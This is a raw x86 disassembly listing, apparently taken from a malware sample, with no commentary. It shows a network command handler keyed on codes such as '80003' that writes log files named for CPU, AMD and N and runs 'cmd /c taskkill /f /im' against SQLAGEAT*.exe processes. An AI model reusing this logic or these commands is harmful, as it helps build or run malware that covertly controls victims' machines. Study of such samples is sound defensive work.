mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42879e
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4287b1
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4287d4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42883a
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42884d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428870
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4288d6
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4288e9
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42890c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f094
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4289a3
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4289b6
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4289d9
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428a3f
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428a52
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428a75
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428adb
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428aee
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428b11
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f094
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428ba8
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428bbb
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428bde
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428c44
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428c57
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428c7a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428ce0
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428cf3
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428d16
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f0e4
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f0e4
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
call fcn.00430458
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f0e4]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428dfa
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428e0d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428e30
push ebx
call fcn.00465372
add esp, 4
push 0
call fcn.00465384
add esp, 4
jmp 0x4303ad
push str.80003
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42923c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fed5b
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428ea6
push ebx
call fcn.00465372
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4fed65
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x428ed1
mov eax, 0x4fa750
push eax
push 3
mov eax, 1
mov ebx, 0x4c4010
call fcn.0046537e
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x428eff
mov eax, 0x4fa750
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428f13
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x4675b0
call fcn.0046536c
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428f36
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x428f46
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x428f59
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x52f0f8]
test ebx, ebx
je 0x428f86
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [0x52f0f8], eax
mov dword [0x52f0e8], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f090
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4290b1
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4290c4
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4290e7
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42914d
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429160
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429183
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4291e9
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4291fc
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42921f
push ebx
call fcn.00465372
add esp, 4
push 1
push 1
push 1
push 0x14
call fcn.00411bc3
call fcn.00421c83
jmp 0x4303ad
push str.80004
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x429b27
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fdb65
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x52f0b4]
test eax, eax
jne 0x429288
mov eax, 0x4efeeb
push eax
push 4
mov ebx, 0x465e50
call fcn.0046536c
add esp, 0x34
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
jne 0x4292ff
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fdb61
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x52f0b4]
test eax, eax
jne 0x4292db
mov eax, 0x4efeeb
push eax
push 4
mov ebx, 0x465e50
call fcn.0046536c
add esp, 0x34
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x4292ff
xor eax, eax
jmp 0x429304
mov eax, 1
test eax, eax
je 0x4296f0
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.AMD_a.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42935a
push ebx
call fcn.00465372
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4fed65
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429385
mov eax, 0x4fa750
push eax
push 3
mov eax, 1
mov ebx, 0x4c4010
call fcn.0046537e
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4293b3
mov eax, 0x4fa750
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4293c7
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x4675b0
call fcn.0046536c
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4293ea
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4293fa
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42940d
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x52f0fc]
test ebx, ebx
je 0x42943a
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [0x52f0fc], eax
mov dword [0x52f0e8], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f094
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429565
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429578
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42959b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429601
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429614
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429637
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42969d
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4296b0
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4296d3
push ebx
call fcn.00465372
add esp, 4
push 1
push 1
push 1
push 0x14
call fcn.00411bc3
call fcn.00421c83
jmp 0x429b22
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fdb69
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x52f0b4]
test eax, eax
jne 0x429723
mov eax, 0x4efeeb
push eax
push 4
mov ebx, 0x465e50
call fcn.0046536c
add esp, 0x34
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
je 0x429b22
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429756
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x52f100]
test ebx, ebx
je 0x429783
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [0x52f100], eax
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fed8b
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4297d7
push ebx
call fcn.00465372
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4fed65
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429802
mov eax, 0x4fa750
push eax
push 3
mov eax, 1
mov ebx, 0x4c4010
call fcn.0046537e
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x429830
mov eax, 0x4fa750
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429844
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x4675b0
call fcn.0046536c
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429867
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x429877
push ebx
call fcn.00465372
add esp, 4
mov dword [0x52f0e8], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f098
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f098]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42999c
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4299af
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4299d2
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429a38
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429a4b
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429a6e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429ad4
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429ae7
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429b0a
push ebx
call fcn.00465372
add esp, 4
push 1
push 1
push 1
push 0x14
call fcn.00411bc3
call fcn.00421c83
jmp 0x4303ad
push str.80002
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a19f
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429bd3
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00430761
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429c0c
push ebx
call fcn.00465372
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429c32
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x429c42
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429c55
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
lea eax, [ebp - 0x34]
push eax
call fcn.00416fc3
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x429d06
push ebx
call fcn.00465372
add esp, 4
